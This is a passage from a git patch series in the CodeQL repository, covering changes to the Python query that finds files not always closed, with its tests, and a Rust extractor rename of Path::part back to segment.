- else result = this - } } /** A call that may wrap a file object in a wrapper class or `os.fdopen`. */ -class FileWrapperCall extends FileOpenSource, DataFlow::CallCfgNode { +class FileWrapperCall extends DataFlow::CallCfgNode { FileOpen wrapped; FileWrapperCall() { @@ -53,14 +46,11 @@ class FileWrapperCall extends FileOpenSource, DataFlow::CallCfgNode { abstract class FileClose extends DataFlow::CfgNode { /** Holds if this file close will occur if an exception is thrown at `e`. */ predicate guardsExceptions(Expr e) { - exists(Try try | - e = try.getAStmt().getAChildNode*() and - ( - this.asExpr() = try.getAHandler().getAChildNode*() - or - this.asExpr() = try.getAFinalstmt().getAChildNode*() - ) - ) + this.asCfgNode() = + DataFlow::exprNode(e).asCfgNode().getAnExceptionalSuccessor().getASuccessor*() + or + // the expression is after the close call + DataFlow::exprNode(e).asCfgNode() = this.asCfgNode().getASuccessor*() } } @@ -95,8 +85,20 @@ private predicate mayRaiseWithFile(DataFlow::CfgNode node) { not node instanceof FileClose } +/** Holds if data flows from `nodeFrom` to `nodeTo` in one step that also includes file wrapper classes. */ +private predicate fileLocalFlowStep(DataFlow::Node nodeFrom, DataFlow::Node nodeTo) { + DataFlow::localFlowStep(nodeFrom, nodeTo) + or + exists(FileWrapperCall fw | nodeFrom = fw.getWrapped() and nodeTo = fw) +} + +/** Holds if data flows from `source` to `sink`, including file wrapper classes. */ +private predicate fileLocalFlow(DataFlow::Node source, DataFlow::Node sink) { + fileLocalFlowStep*(source, sink) +} + /** Holds if the file opened at `fo` is closed. */ -predicate fileIsClosed(FileOpen fo) { exists(FileClose fc | DataFlow::localFlow(fo, fc)) } +predicate fileIsClosed(FileOpen fo) { exists(FileClose fc | fileLocalFlow(fo, fc)) } /** Holds if the file opened at `fo` is returned to the caller. This makes the caller responsible for closing the file. */ predicate fileIsReturned(FileOpen fo) { @@ -108,27 +110,26 @@ predicate fileIsReturned(FileOpen fo) { or retVal = ret.getValue().(Tuple).getAnElt() ) and - DataFlow::localFlow(fo, DataFlow::exprNode(retVal)) + fileLocalFlow(fo, DataFlow::exprNode(retVal)) ) } /** Holds if the file opened at `fo` is stored in a field. We assume that another method is then responsible for closing the file. */ predicate fileIsStoredInField(FileOpen fo) { - exists(DataFlow::AttrWrite aw | DataFlow::localFlow(fo, aw.getValue())) + exists(DataFlow::AttrWrite aw | fileLocalFlow(fo, aw.getValue())) } /** Holds if the file opened at `fo` is not closed, and is expected to be closed. */ predicate fileNotClosed(FileOpen fo) { not fileIsClosed(fo) and not fileIsReturned(fo) and - not fileIsStoredInField(fo) and - not exists(FileWrapperCall fwc | fo = fwc.getWrapped()) + not fileIsStoredInField(fo) } predicate fileMayNotBeClosedOnException(FileOpen fo, DataFlow::Node raises) { fileIsClosed(fo) and mayRaiseWithFile(raises) and - DataFlow::localFlow(fo, raises) and + fileLocalFlow(fo, raises) and not exists(FileClose fc | DataFlow::localFlow(fo, fc) and fc.guardsExceptions(raises.asExpr()) diff --git a/python/ql/test/query-tests/Resources/FileNotAlwaysClosed/resources_test.py b/python/ql/test/query-tests/Resources/FileNotAlwaysClosed/resources_test.py index ddc89a8fb7b..1f30d309d6f 100644 --- a/python/ql/test/query-tests/Resources/FileNotAlwaysClosed/resources_test.py +++ b/python/ql/test/query-tests/Resources/FileNotAlwaysClosed/resources_test.py @@ -46,10 +46,10 @@ def closed7(): def not_closed8(): f8 = None try: - f8 = open("filename") # $ MISSING:notClosedOnException + f8 = open("filename") # $ MISSING:notClosedOnException f8.write("Error could occur") finally: - if f8 is None: + if f8 is None: # We don't precisely consider this condition, so this result is MISSING. However, this seems uncommon. f8.close() def not_closed9(): @@ -58,7 +58,7 @@ def not_closed9(): f9 = open("filename") # $ MISSING:notAlwaysClosed f9.write("Error could occur") finally: - if not f9: + if not f9: # We don't precisely consider this condition, so this result is MISSING.However, this seems uncommon. f9.close() def not_closed_but_cant_tell_locally(): @@ -81,7 +81,7 @@ def not_closed11(): f11.write("IOError could occur") f11.write("IOError could occur") f11.close() - except AttributeError: + except AttributeError: # We don't consider the type of exception handled here, so this result is MISSING. f11.close() def doesnt_raise(*args): @@ -121,7 +121,7 @@ def closer2(t3): def closed15(): f15 = opener_func2() # $ SPURIOUS:notClosed - closer2(f15) + closer2(f15) # We don't detect that this call closes the file, so this result is SPURIOUS. def may_not_be_closed16(name): @@ -144,7 +144,7 @@ def not_closed17(): f17.write("IOError could occur") may_raise("ValueError could occur") # FN here. f17.close() - except IOError: + except IOError: # We don't detect that a ValueErrror could be raised that isn't handled here, so this result is MISSING. f17.close() #ODASA-3779 @@ -241,7 +241,7 @@ def not_closed22(path): if foo: f22.close() finally: - if f22.closed: # Wrong sense + if f22.closed: # We don't precisely consider this condition, so this result is MISSING. However, this seems uncommon. f22.close() def not_closed23(path): diff --git a/python/ql/test/query-tests/Resources/FileNotAlwaysClosed/test.ql b/python/ql/test/query-tests/Resources/FileNotAlwaysClosed/test.ql index 3abba197373..f176172d078 100644 --- a/python/ql/test/query-tests/Resources/FileNotAlwaysClosed/test.ql +++ b/python/ql/test/query-tests/Resources/FileNotAlwaysClosed/test.ql @@ -7,7 +7,7 @@ module MethodArgTest implements TestSig { predicate hasActualResult(Location location, string element, string tag, string value) { exists(DataFlow::CfgNode el, FileOpen fo | - el = fo.getLocalSource() and + el = fo and element = el.toString() and location = el.getLocation() and value = "" and From 2c74ddb8539701bd8bd94b1da539ea364cf02df8 Mon Sep 17 00:00:00 2001 From: Joe Farebrother Date: Thu, 20 Mar 2025 10:37:58 +0000 Subject: [PATCH 036/282] Add django FileRsponse as a wrapper --- python/ql/src/Resources/FileNotAlwaysClosedQuery.qll | 3 +++ 1 file changed, 3 insertions(+) diff --git a/python/ql/src/Resources/FileNotAlwaysClosedQuery.qll b/python/ql/src/Resources/FileNotAlwaysClosedQuery.qll index 11473edde04..2baaf34ab4f 100644 --- a/python/ql/src/Resources/FileNotAlwaysClosedQuery.qll +++ b/python/ql/src/Resources/FileNotAlwaysClosedQuery.qll @@ -36,6 +36,9 @@ class FileWrapperCall extends DataFlow::CallCfgNode { or wrapped = this.getArg(0) and this = API::moduleImport("os").getMember("fdopen").getACall() + or + wrapped = this.getArg(0) and + this = API::moduleImport("django").getMember("http").getMember("FileResponse").getACall() } /** Gets the file that this call wraps. */ From 3707f107bf3b196fb03dd226072e17bb2f11eae3 Mon Sep 17 00:00:00 2001 From: Joe Farebrother Date: Thu, 20 Mar 2025 11:26:17 +0000 Subject: [PATCH 037/282] Fix tests + add more tests --- .../Resources/FileNotAlwaysClosedQuery.qll | 47 +++++++++---------- .../FileNotAlwaysClosed/resources_test.py | 33 ++++++++++++- 2 files changed, 55 insertions(+), 25 deletions(-) diff --git a/python/ql/src/Resources/FileNotAlwaysClosedQuery.qll b/python/ql/src/Resources/FileNotAlwaysClosedQuery.qll index 2baaf34ab4f..48b1763ec84 100644 --- a/python/ql/src/Resources/FileNotAlwaysClosedQuery.qll +++ b/python/ql/src/Resources/FileNotAlwaysClosedQuery.qll @@ -21,14 +21,17 @@ private DataFlow::TypeTrackingNode fileOpenInstance(DataFlow::TypeTracker t) { exists(DataFlow::TypeTracker t2 | result = fileOpenInstance(t2).track(t2, t)) } -/** A call that returns an instance of an open file object. */ +/** + * A call that returns an instance of an open file object. + * This includes calls to methods that transitively call `open` or similar. + */ class FileOpen extends DataFlow::CallCfgNode { FileOpen() { fileOpenInstance(DataFlow::TypeTracker::end()).flowsTo(this) } } /** A call that may wrap a file object in a wrapper class or `os.fdopen`. */ class FileWrapperCall extends DataFlow::CallCfgNode { - FileOpen wrapped; + DataFlow::Node wrapped; FileWrapperCall() { wrapped = this.getArg(_).getALocalSource() and @@ -42,18 +45,18 @@ class FileWrapperCall extends DataFlow::CallCfgNode { } /** Gets the file that this call wraps. */ - FileOpen getWrapped() { result = wrapped } + DataFlow::Node getWrapped() { result = wrapped } } /** A node where a file is closed. */ abstract class FileClose extends DataFlow::CfgNode { /** Holds if this file close will occur if an exception is thrown at `e`. */ - predicate guardsExceptions(Expr e) { - this.asCfgNode() = - DataFlow::exprNode(e).asCfgNode().getAnExceptionalSuccessor().getASuccessor*() + predicate guardsExceptions(DataFlow::CfgNode raises) { + this.asCfgNode() = raises.asCfgNode().getAnExceptionalSuccessor().getASuccessor*() or - // the expression is after the close call - DataFlow::exprNode(e).asCfgNode() = this.asCfgNode().getASuccessor*() + // The expression is after the close call. + // This also covers the body of a `with` statement. + raises.asCfgNode() = this.asCfgNode().getASuccessor*() } } @@ -72,20 +75,14 @@ class WithStatement extends FileClose { With w; WithStatement() { this.asExpr() = w.getContextExpr() } - - override predicate guardsExceptions(Expr e) { - super.guardsExceptions(e) - or - e = w.getAStmt().getAChildNode*() - } } -/** Holds if an exception may be raised at `node` if it is a file object. */ -private predicate mayRaiseWithFile(DataFlow::CfgNode node) { +/** Holds if an exception may be raised at `raises` if `file` is a file object. */ +private predicate mayRaiseWithFile(DataFlow::CfgNode file, DataFlow::CfgNode raises) { // Currently just consider any method called on `node`; e.g. `file.write()`; as potentially raising an exception - exists(DataFlow::MethodCallNode mc | node = mc.getObject()) and - not node instanceof FileOpen and - not node instanceof FileClose + raises.(DataFlow::MethodCallNode).getObject() = file and + not file instanceof FileOpen and + not file instanceof FileClose } /** Holds if data flows from `nodeFrom` to `nodeTo` in one step that also includes file wrapper classes. */ @@ -131,10 +128,12 @@ predicate fileNotClosed(FileOpen fo) { predicate fileMayNotBeClosedOnException(FileOpen fo, DataFlow::Node raises) { fileIsClosed(fo) and - mayRaiseWithFile(raises) and - fileLocalFlow(fo, raises) and - not exists(FileClose fc | - DataFlow::localFlow(fo, fc) and - fc.guardsExceptions(raises.asExpr()) + exists(DataFlow::CfgNode fileRaised | + mayRaiseWithFile(fileRaised, raises) and + fileLocalFlow(fo, fileRaised) and + not exists(FileClose fc | + fileLocalFlow(fo, fc) and + fc.guardsExceptions(raises) + ) ) } diff --git a/python/ql/test/query-tests/Resources/FileNotAlwaysClosed/resources_test.py b/python/ql/test/query-tests/Resources/FileNotAlwaysClosed/resources_test.py index 1f30d309d6f..598d54c892c 100644 --- a/python/ql/test/query-tests/Resources/FileNotAlwaysClosed/resources_test.py +++ b/python/ql/test/query-tests/Resources/FileNotAlwaysClosed/resources_test.py @@ -246,4 +246,35 @@ def not_closed22(path): def not_closed23(path): f23 = open(path, "w") # $ notClosed - wr = FileWrapper(f23) \ No newline at end of file + wr = FileWrapper(f23) + +def closed24(path): + f24 = open(path, "w") + try: + f24.write("hi") + except: + pass + f24.close() + +def closed25(path): + from django.http import FileResponse + return FileResponse(open(path)) + +import os +def closed26(path): + fd = os.open(path) + os.close(fd) + +def not_closed27(path): + fd = os.open(path, "w") # $notClosedOnException + f27 = os.fdopen(fd, "w") + f27.write("hi") + f27.close() + +def closed28(path): + fd = os.open(path, os.O_WRONLY) + f28 = os.fdopen(fd, "w") + try: + f28.write("hi") + finally: + f28.close() \ No newline at end of file From 074af6f5481557da8069e88c6d2cc7aed5590b36 Mon Sep 17 00:00:00 2001 From: Taus Date: Thu, 20 Mar 2025 13:57:32 +0000 Subject: [PATCH 038/282] Python: Add change note --- ...5-03-20-modernize-special-method-wrong-signature-query.md | 5 +++++ 1 file changed, 5 insertions(+) create mode 100644 python/ql/src/change-notes/2025-03-20-modernize-special-method-wrong-signature-query.md diff --git a/python/ql/src/change-notes/2025-03-20-modernize-special-method-wrong-signature-query.md b/python/ql/src/change-notes/2025-03-20-modernize-special-method-wrong-signature-query.md new file mode 100644 index 00000000000..e871b7510d9 --- /dev/null +++ b/python/ql/src/change-notes/2025-03-20-modernize-special-method-wrong-signature-query.md @@ -0,0 +1,5 @@ +--- +category: minorAnalysis +--- + +- The `py/special-method-wrong-signature` has been modernized and rewritten to no longer rely on outdated APIs. Moreover, the query no longer flags cases where a default value is never used, as these alerts were rarely useful. From bdbdcf8bd870060f4ead4581a8e55583ad259f57 Mon Sep 17 00:00:00 2001 From: Joe Farebrother Date: Thu, 20 Mar 2025 14:18:45 +0000 Subject: [PATCH 039/282] Clean up charpred of WithStatement + fix a comment --- python/ql/src/Resources/FileNotAlwaysClosedQuery.qll | 6 ++---- 1 file changed, 2 insertions(+), 4 deletions(-) diff --git a/python/ql/src/Resources/FileNotAlwaysClosedQuery.qll b/python/ql/src/Resources/FileNotAlwaysClosedQuery.qll index 48b1763ec84..2d5bb5c3abc 100644 --- a/python/ql/src/Resources/FileNotAlwaysClosedQuery.qll +++ b/python/ql/src/Resources/FileNotAlwaysClosedQuery.qll @@ -72,14 +72,12 @@ class OsCloseCall extends FileClose { /** A `with` statement. */ class WithStatement extends FileClose { - With w; - - WithStatement() { this.asExpr() = w.getContextExpr() } + WithStatement() { this.asExpr() = any(With w).getContextExpr() } } /** Holds if an exception may be raised at `raises` if `file` is a file object. */ private predicate mayRaiseWithFile(DataFlow::CfgNode file, DataFlow::CfgNode raises) { - // Currently just consider any method called on `node`; e.g. `file.write()`; as potentially raising an exception + // Currently just consider any method called on `file`; e.g. `file.write()`; as potentially raising an exception raises.(DataFlow::MethodCallNode).getObject() = file and not file instanceof FileOpen and not file instanceof FileClose From b48d9a255e5fe69133c0ac76dd20474a8df83906 Mon Sep 17 00:00:00 2001 From: Paolo Tranquilli Date: Thu, 20 Mar 2025 16:28:21 +0100 Subject: [PATCH 040/282] Rust: undo rename of `Path::segment` to `Path::part` --- rust/ast-generator/src/main.rs | 1 - rust/extractor/src/crate_graph.rs | 4 +- rust/extractor/src/generated/.generated.list | 2 +- rust/extractor/src/generated/top.rs | 6 +-- rust/extractor/src/translate/generated.rs | 4 +- rust/ql/.generated.list | 10 ++-- rust/ql/.gitattributes | 2 +- .../rust/elements/internal/PathImpl.qll | 6 +-- .../internal/generated/ParentChild.qll | 6 +-- .../rust/elements/internal/generated/Path.qll | 11 ++-- .../rust/elements/internal/generated/Raw.qll | 4 +- .../rust/frameworks/rustcrypto/RustCrypto.qll | 4 +- .../codeql/rust/internal/PathResolution.qll | 2 +- .../codeql/rust/internal/TypeInference.qll | 2 +- .../lib/codeql/rust/internal/TypeMention.qll | 6 +-- .../regex/RegexInjectionExtensions.qll | 2 +- rust/ql/lib/rust.dbscheme | 4 +- .../generated/Path/Path.expected | 50 +++++++++---------- .../extractor-tests/generated/Path/Path.ql | 6 +-- .../{Path_getPart.ql => Path_getSegment.ql} | 2 +- rust/schema/annotations.py | 1 + rust/schema/ast.py | 2 +- 22 files changed, 69 insertions(+), 68 deletions(-) rename rust/ql/test/extractor-tests/generated/Path/{Path_getPart.ql => Path_getSegment.ql} (84%) diff --git a/rust/ast-generator/src/main.rs b/rust/ast-generator/src/main.rs index 33c901cea8c..85df0ad214b 100644 --- a/rust/ast-generator/src/main.rs +++ b/rust/ast-generator/src/main.rs @@ -36,7 +36,6 @@ fn property_name(type_name: &str, field_name: &str) -> String { ("CallExpr", "expr") => "function", ("LetExpr", "expr") => "scrutinee", ("MatchExpr", "expr") => "scrutinee", - ("Path", "segment") => "part", (_, "then_branch") => "then", (_, "else_branch") => "else_", ("ArrayType", "ty") => "element_type_repr", diff --git a/rust/extractor/src/crate_graph.rs b/rust/extractor/src/crate_graph.rs index 75c0113a45d..c1d7e54c3c5 100644 --- a/rust/extractor/src/crate_graph.rs +++ b/rust/extractor/src/crate_graph.rs @@ -953,7 +953,7 @@ fn make_qualified_path( id: trap::TrapId::Star, text: Some(name), })); - let part = Some(trap.emit(generated::PathSegment { + let segment = Some(trap.emit(generated::PathSegment { id: trap::TrapId::Star, generic_arg_list: None, name_ref, @@ -964,7 +964,7 @@ fn make_qualified_path( trap.emit(generated::Path { id: trap::TrapId::Star, qualifier, - part, + segment, }) } path.into_iter() diff --git a/rust/extractor/src/generated/.generated.list b/rust/extractor/src/generated/.generated.list index f4582cf85f4..a28f641d89e 100644 --- a/rust/extractor/src/generated/.generated.list +++ b/rust/extractor/src/generated/.generated.list @@ -1,2 +1,2 @@ mod.rs 4bcb9def847469aae9d8649461546b7c21ec97cf6e63d3cf394e339915ce65d7 4bcb9def847469aae9d8649461546b7c21ec97cf6e63d3cf394e339915ce65d7 -top.rs 22ca74a6a44e2984afdaffbc536d847296a79312d201b81948a32fe56064c8bf 22ca74a6a44e2984afdaffbc536d847296a79312d201b81948a32fe56064c8bf +top.rs 4e8e5b1e16bb2f4b157b987c86c7b5cdb1d48a4586eafd08a92dcb989c94820e 4e8e5b1e16bb2f4b157b987c86c7b5cdb1d48a4586eafd08a92dcb989c94820e diff --git a/rust/extractor/src/generated/top.rs b/rust/extractor/src/generated/top.rs index 4386de18016..c607dddfe3e 100644 --- a/rust/extractor/src/generated/top.rs +++ b/rust/extractor/src/generated/top.rs @@ -2027,7 +2027,7 @@ impl From> for trap::Label { pub struct Path { pub id: trap::TrapId, pub qualifier: Option>, - pub part: Option>, + pub segment: Option>, } impl trap::TrapEntry for Path { @@ -2040,8 +2040,8 @@ impl trap::TrapEntry for Path { if let Some(v) = self.qualifier { out.add_tuple("path_qualifiers", vec![id.into(), v.into()]); } - if let Some(v) = self.part { - out.add_tuple("path_parts", vec![id.into(), v.into()]); + if let Some(v) = self.segment { + out.add_tuple("path_segments_", vec![id.into(), v.into()]); } } } diff --git a/rust/extractor/src/translate/generated.rs b/rust/extractor/src/translate/generated.rs index 9479f793961..25ae576d64c 100644 --- a/rust/extractor/src/translate/generated.rs +++ b/rust/extractor/src/translate/generated.rs @@ -1659,11 +1659,11 @@ impl Translator<'_> { pub(crate) fn emit_path(&mut self, node: ast::Path) -> Option> { let qualifier = node.qualifier().and_then(|x| self.emit_path(x)); - let part = node.segment().and_then(|x| self.emit_path_segment(x)); + let segment = node.segment().and_then(|x| self.emit_path_segment(x)); let label = self.trap.emit(generated::Path { id: TrapId::Star, qualifier, - part, + segment, }); self.emit_location(label, &node); emit_detached!(Path, self, node, label); diff --git a/rust/ql/.generated.list b/rust/ql/.generated.list index 61fcb951cad..2781b9f7047 100644 --- a/rust/ql/.generated.list +++ b/rust/ql/.generated.list @@ -580,10 +580,10 @@ lib/codeql/rust/elements/internal/generated/ParamList.qll c808c9d84dd7800573832b lib/codeql/rust/elements/internal/generated/ParenExpr.qll bc0731505bfe88516205ec360582a4222d2681d11342c93e15258590ddee82f2 d4bd6e0c80cf1d63746c88d4bcb3a01d4c75732e5da09e3ebd9437ced227fb60 lib/codeql/rust/elements/internal/generated/ParenPat.qll 4f168ef5d5bb87a903251cc31b2e44a759b099ec69c90af31783fbb15778c940 0e34f94a45a13396fd57d94c245dc64d1adde2ab0e22b56946f7e94c04e297fc lib/codeql/rust/elements/internal/generated/ParenTypeRepr.qll 40ab5c592e7699c621787793743e33988de71ff42ca27599f5ab3ddb70e3f7d8 12c0a6eed2202ee3e892f61da3b3ce77ac3190854cdf3097e8d2be98aa3cb91d -lib/codeql/rust/elements/internal/generated/ParentChild.qll 0e80d85aa8ddb203edca90c9b68f88340231ab5415933f622bad18f639ff6190 9ebbfdf48f0a3c06658b53a9fd987530b34c9c40ae2c3d6ef6ebdf2721fdbf83 +lib/codeql/rust/elements/internal/generated/ParentChild.qll 7ccb90039b06af54b13cbe4f7294c0201fbee4fd4b173396a5cad43f40f0e706 0d45f0be4cbcb54774281e163efc09b28d3135086dc01197d49eb7e314217eea lib/codeql/rust/elements/internal/generated/ParenthesizedArgList.qll c5fa328ea60d3a3333d7c7bb3480969c1873166c7ac8ebb9d0afad7a8099d1a8 2dbbb6200d96f7db7dea4a55bdeab8d67b14d39a43e0bd54ada019f7e466f163 lib/codeql/rust/elements/internal/generated/Pat.qll 3605ac062be2f294ee73336e9669027b8b655f4ad55660e1eab35266275154ee 7f9400db2884d336dd1d21df2a8093759c2a110be9bf6482ce8e80ae0fd74ed4 -lib/codeql/rust/elements/internal/generated/Path.qll 8e47e91aff3f8c60f1ee8cb3887b8e4936c38e4665d052f2c92a939a969aac29 2c28beb89cabd7c7c91a5bc65c874f414cb96bbefde37b25811b61089a8a0053 +lib/codeql/rust/elements/internal/generated/Path.qll 9b12afb46fc5a9ad3a811b05472621bbecccb900c47504feb7f29d96b28421ca bcacbffc36fb3e0c9b26523b5963af0ffa9fd6b19f00a2a31bdb2316071546bd lib/codeql/rust/elements/internal/generated/PathAstNode.qll e6d4d5bffd3c623baaaee46bc183eb31ce88795535f164f6a9b9b4d98bbd6101 168db515404933479ba6b150c72e012d28592cbc32366aefcb1bf9599dbcd183 lib/codeql/rust/elements/internal/generated/PathExpr.qll 34ebad4d062ce8b7e517f2ab09d52745fb8455203f4a936df7284ad296638387 ba66781cdbdeb89c27a4bfb2be0f27f85fb34978d699b4e343446fb0d7ad2aa6 lib/codeql/rust/elements/internal/generated/PathExprBase.qll d8218e201b8557fa6d9ca2c30b764e5ad9a04a2e4fb695cc7219bbd7636a6ac2 4ef178426d7095a156f4f8c459b4d16f63abc64336cb50a6cf883a5f7ee09113 @@ -595,7 +595,7 @@ lib/codeql/rust/elements/internal/generated/PtrTypeRepr.qll 51d1e9e683fc79dddbff lib/codeql/rust/elements/internal/generated/PureSynthConstructors.qll e5b8e69519012bbaae29dcb82d53f7f7ecce368c0358ec27ef6180b228a0057f e5b8e69519012bbaae29dcb82d53f7f7ecce368c0358ec27ef6180b228a0057f lib/codeql/rust/elements/internal/generated/RangeExpr.qll 23cca03bf43535f33b22a38894f70d669787be4e4f5b8fe5c8f7b964d30e9027 18624cef6c6b679eeace2a98737e472432e0ead354cca02192b4d45330f047c9 lib/codeql/rust/elements/internal/generated/RangePat.qll 80826a6a6868a803aa2372e31c52a03e1811a3f1f2abdb469f91ca0bfdd9ecb6 34ee1e208c1690cba505dff2c588837c0cd91e185e2a87d1fe673191962276a9 -lib/codeql/rust/elements/internal/generated/Raw.qll 2e299cb4fc9e506d910827e3a3ab743570a02d963c9001b33c6c06f9aa92200d a19748787c02a18abffaaa4c7b9c23a9bbc56020fb36698bf82da72c09fa57db +lib/codeql/rust/elements/internal/generated/Raw.qll c806d86ab8d8a56ea6ff1b7f9e4838ce424d19b9b7c23dc7f50312a8caad74d3 f2c141c0ff44d6de84a59448ebc30524a694e054a93afaf9d32179b8404026fd lib/codeql/rust/elements/internal/generated/RecordFieldList.qll 4a23b0d75a90671197246dbbb4e62706c180074abb8ebe60a96df11c47a917a2 09be127977651a24010b090d9681714d83ebd461098f9cf0e0d1973cafb1c782 lib/codeql/rust/elements/internal/generated/RefExpr.qll 7d995884e3dc1c25fc719f5d7253179344d63650e217e9ff6530285fe7a57f64 f2c3c12551deea4964b66553fb9b6423ee16fec53bd63db4796191aa60dc6c66 lib/codeql/rust/elements/internal/generated/RefPat.qll 456ede39837463ee22a630ec7ab6c8630d3664a8ea206fcc6e4f199e92fa564c 5622062765f32930465ba6b170e986706f159f6070f48adee3c20e24e8df4e05 @@ -986,7 +986,7 @@ test/extractor-tests/generated/ParenPat/ParenPat_getPat.ql 96f3db0ec4e71fd870619 test/extractor-tests/generated/ParenTypeRepr/ParenTypeRepr.ql a96bb8b51d8c0c466afc1c076834fa16edf7e67fffe2f641799850dee43099a2 0e6c375e621b7a7756d39e8edd78b671e53d1aac757ac54a26747fe5259c5394 test/extractor-tests/generated/ParenTypeRepr/ParenTypeRepr_getTypeRepr.ql 64fe4ea708bc489ba64ed845f63cfbcd57c1179c57d95be309db37eac2f5eb71 0f4cbbfdf39d89830b5249cabf26d834fc2310b8a9579c19383c90cb4333afb7 test/extractor-tests/generated/ParenthesizedArgList/MISSING_SOURCE.txt b6cf5771fdbbe981aeb3f443ec7a40517b6e99ffc9817fd8872c2e344240dae1 b6cf5771fdbbe981aeb3f443ec7a40517b6e99ffc9817fd8872c2e344240dae1 -test/extractor-tests/generated/Path/Path.ql 2bdcd99b3b5ffc83ac47d8cc27a4561d616bcf06844f0c452c699cd10ee640ca 5a7d7ffb8b0c04d6a8cbb2a953761df8561b796c4372bef1bd55c359b2f19911 +test/extractor-tests/generated/Path/Path.ql 2b02325ab1739bf41bc5f50d56b1e9cc72fca4093b03f2bda193699121e64448 c4d44402696ce10175ad8286dbd78277fbb81e7e1b886c0c27d5b88a7509052e test/extractor-tests/generated/Path/PathExpr.ql 5039fe730998a561f51813a0716e18c7c1d36b6da89936e4cfbdb4ef0e895560 cd3ddf8ab93cd573381807f59cded7fb3206f1dbdff582490be6f23bed2d6f29 test/extractor-tests/generated/Path/PathExpr_getAttr.ql 2ccac48cd91d86670c1d2742de20344135d424e6f0e3dafcc059555046f92d92 9b7b5f5f9e3674fad9b3a5bcd3cabc0dff32a95640da0fce6f4d0eb931f1757d test/extractor-tests/generated/Path/PathExpr_getPath.ql e7894071313a74166bdd31d7cd974037fcd5a7f0e92d5eec42833266196eb858 46a06e8a1207e7a0fa175cd4b61068e5fd6c43b5575b88986409f0ac2be64c51 @@ -1006,8 +1006,8 @@ test/extractor-tests/generated/Path/PathSegment_getTraitTypeRepr.ql d7ea6ee3f6b7 test/extractor-tests/generated/Path/PathSegment_getTypeRepr.ql d9d8ff43a55671616bd5b98ff2c03690ec2661817d19a61edcc4b37d23e312d0 b4dc0ae4d7f03c98c23312b358d214565b34c7a028ba8983826c6bf5c1177eeb test/extractor-tests/generated/Path/PathTypeRepr.ql c2e069acc5111088a7287d98b4bd4bf44bd79c5a786b275f7448ebafc3613500 6e016750e5fef92a98bc5cc60bfd40d85fbb5eb2d251b4d69ffe600813f81df0 test/extractor-tests/generated/Path/PathTypeRepr_getPath.ql 49e96ea2aa482e3b80cb0e2d944055f8298f7fc55b36cea7468586c94bacf686 29b3c2140ac1bc6e0e6160140e292e2b84e13145c1553480e2a582cd7f7bd3fd -test/extractor-tests/generated/Path/Path_getPart.ql 8aa45a0b58203ef1177166efbe1c2851faf4b4c9a453c83137f0c9298badcdbf b82d490d9b3a8237487cd5da8b3b6fc4aa477977b332a5c6539b3cd4e6d5b45b test/extractor-tests/generated/Path/Path_getQualifier.ql 9af95e22cdf3a65da6a41d93136aef4523db5ce81d38f6ed4bc613f1c68784d0 3102d9241a417a92c97a53ac56a7a8683463f1adc7a593cda1382c0d25b3f261 +test/extractor-tests/generated/Path/Path_getSegment.ql 475f344ee24a14468745d50922fdfd63f5d817f14cc041a184c2f8ec144a01dd 4f663c5c2b1e0cb8b9a8a0b2d8b5d81f12a3bf333c71ecbb43d9258f7dfe4ec7 test/extractor-tests/generated/PrefixExpr/PrefixExpr.ql 44fb7174365c6deecdc22c720d84617c6e060c05d49c41c90433451588f8aa6f 871fab471c82fede3c36edc003f9decee5bb7844c016951d28be78d0c91487e5 test/extractor-tests/generated/PrefixExpr/PrefixExpr_getAttr.ql fdad6ad5199435ded1e4a9ea6b246e76b904cd73a36aaa4780e84eef91741c5b 75d63940046e62c1efa1151b0cac45b5ec0bab5e39aec2e11d43f6c385e37984 test/extractor-tests/generated/PrefixExpr/PrefixExpr_getExpr.ql 2d1d97f6277794871fbb032ea87ac30b1aa902a74cd874720156162057ea202e b1b9880fce07d66df7ec87f12189c37adf9f233a1d0b38a1b09808d052a95642 diff --git a/rust/ql/.gitattributes b/rust/ql/.gitattributes index 42e4c13f2f4..991390574ae 100644 --- a/rust/ql/.gitattributes +++ b/rust/ql/.gitattributes @@ -1008,8 +1008,8 @@ /test/extractor-tests/generated/Path/PathSegment_getTypeRepr.ql linguist-generated /test/extractor-tests/generated/Path/PathTypeRepr.ql linguist-generated /test/extractor-tests/generated/Path/PathTypeRepr_getPath.ql linguist-generated -/test/extractor-tests/generated/Path/Path_getPart.ql linguist-generated /test/extractor-tests/generated/Path/Path_getQualifier.ql linguist-generated +/test/extractor-tests/generated/Path/Path_getSegment.ql linguist-generated /test/extractor-tests/generated/PrefixExpr/PrefixExpr.ql linguist-generated /test/extractor-tests/generated/PrefixExpr/PrefixExpr_getAttr.ql linguist-generated /test/extractor-tests/generated/PrefixExpr/PrefixExpr_getExpr.ql linguist-generated diff --git a/rust/ql/lib/codeql/rust/elements/internal/PathImpl.qll b/rust/ql/lib/codeql/rust/elements/internal/PathImpl.qll index 285b423331d..0ff11175b2c 100644 --- a/rust/ql/lib/codeql/rust/elements/internal/PathImpl.qll +++ b/rust/ql/lib/codeql/rust/elements/internal/PathImpl.qll @@ -32,14 +32,14 @@ module Impl { result = "...::" or index = 1 and - result = this.getPart().toAbbreviatedString() + result = this.getSegment().toAbbreviatedString() } /** * Gets the text of this path, if it exists. */ pragma[nomagic] - string getText() { result = this.getPart().getNameRef().getText() } + string getText() { result = this.getSegment().getNameRef().getText() } } /** A simple identifier path. */ @@ -49,7 +49,7 @@ module Impl { IdentPath() { not this.hasQualifier() and exists(PathSegment ps | - ps = this.getPart() and + ps = this.getSegment() and not ps.hasGenericArgList() and not ps.hasParenthesizedArgList() and not ps.hasTypeRepr() and diff --git a/rust/ql/lib/codeql/rust/elements/internal/generated/ParentChild.qll b/rust/ql/lib/codeql/rust/elements/internal/generated/ParentChild.qll index b8ae3bb3b87..b6175f7491a 100644 --- a/rust/ql/lib/codeql/rust/elements/internal/generated/ParentChild.qll +++ b/rust/ql/lib/codeql/rust/elements/internal/generated/ParentChild.qll @@ -809,12 +809,12 @@ private module Impl { } private Element getImmediateChildOfPath(Path e, int index, string partialPredicateCall) { - exists(int b, int bAstNode, int n, int nQualifier, int nPart | + exists(int b, int bAstNode, int n, int nQualifier, int nSegment | b = 0 and bAstNode = b + 1 + max(int i | i = -1 or exists(getImmediateChildOfAstNode(e, i, _)) | i) and n = bAstNode and nQualifier = n + 1 and - nPart = nQualifier + 1 and + nSegment = nQualifier + 1 and ( none() or @@ -822,7 +822,7 @@ private module Impl { or index = n and result = e.getQualifier() and partialPredicateCall = "Qualifier()" or - index = nQualifier and result = e.getPart() and partialPredicateCall = "Part()" + index = nQualifier and result = e.getSegment() and partialPredicateCall = "Segment()" ) ) } diff --git 